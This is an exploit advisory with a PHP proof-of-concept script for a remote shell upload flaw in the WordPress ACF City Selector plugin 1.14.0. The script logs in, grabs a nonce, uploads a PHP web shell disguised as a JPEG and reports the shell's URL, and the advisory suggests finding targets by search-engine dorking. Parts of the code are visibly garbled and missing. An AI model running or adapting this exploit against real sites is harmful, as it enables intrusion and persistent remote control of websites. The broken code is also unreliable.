============================================================================================================================================= | # Title : WordPress ACF City Selector plugin versions 1.14.0 Code Injection Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) | | # Vendor : https://wordpress.org/plugins/acf-city-selector/#developers | ============================================================================================================================================= POC : [+] Dorking İn Google Or Other Search Enggine. [+] vulnerability found in WordPress ACF City Selector plugin versions 1.14.0 & suffers from a remote shell upload vulnerability. [+] save code as poc.php . [+] USage : cmd => c:\www\test\php poc.php [+] PayLoad : $username, 'pwd' => $password, 'rememberme' => 'forever', 'wp-submit' => 'Log In' ]; $response = curl_request($login_url, http_build_query($data), [ "Content-Type: application/x-www-form-urlencoded" ]); return strpos($response, 'dashboard') !== false; } function extract_nonce($url) { $dashboard_url = "$url/wp-admin/options-general.php?page=acfcs-dashboard"; $response = curl_request($dashboard_url); if (preg_match('/ $nonce, 'acfcs_csv_upload' => new CURLFile('shell.php', 'image/jpeg', 'indoushka.php') ]; file_put_contents('shell.php', $shell); curl_request($upload_url, $post_fields, [ "Content-Type: multipart/form-data" ]); $shell_url = "$url/wp-content/uploads/acfcs/indoushka.php"; if (curl_request($shell_url)) { echo "[+] Shell uploaded successfully: $shell_url\n"; } else { echo "[-] Shell upload failed.\n"; } } function main($url, $username, $password) { $plugin_version = get_plugin_version($url); if (version_compare($plugin_version, '1.14.0', '<=')) { echo "[+] Vulnerable version detected! Proceeding with exploitation.\n"; if (login_to_wordpress($url, $username, $password)) { $nonce_value = extract_nonce($url); upload_shell($url, $nonce_value); } else { echo "[-] Failed to log in.\n"; } } else { echo "[-] Plugin is not vulnerable. Exiting.\n"; exit(); } } if ($argc < 4) { echo "Usage: php script.php \n"; exit(); } main($argv[1], $argv[2], $argv[3]); ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================